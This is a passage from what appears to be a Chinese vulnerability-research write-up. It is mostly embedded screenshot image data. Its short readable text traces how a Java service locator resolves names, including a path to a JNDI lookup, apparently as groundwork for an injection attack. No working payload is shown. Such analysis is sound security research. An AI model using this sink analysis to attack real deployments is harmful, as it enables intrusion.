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 truncated
|
||||
<p><a id=img15 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105325-87c97562-df52-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>大概有三种方式加载</p>
|
||||
<pre><code>name以->开头通过findMeta()和findComponent()获取实例。
|
||||
name不以->开头,直接通过服务定位模式this.getServiceCache().get(name)在Cache中取,如果有的话直接返回实例
|
||||
name以java:comp/env/开头,进入jndiCtx.lookup。最后如果meta和retObject还是未获取到,则调用jndi(jndiName)</code></pre>
|
||||
<p>大概率PortalSpecServiceImpl这个应该不是在ServiceCache里,不然就成功获取到对象然后反射调用方法了,或者可以通过某种方式先添加PortalSpecServiceImpl到ServiceCache,再获取。<br>
|
||||
重点看下第一种方式,获取Meta如下。</p>
|
||||
<p><a id=img16 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105610-ea5cb1f8-df52-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>进行实例化</p>
|
||||
<p><a id=img17 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105614-ec51996a-df52-1.png><img src=data:image/png;base64,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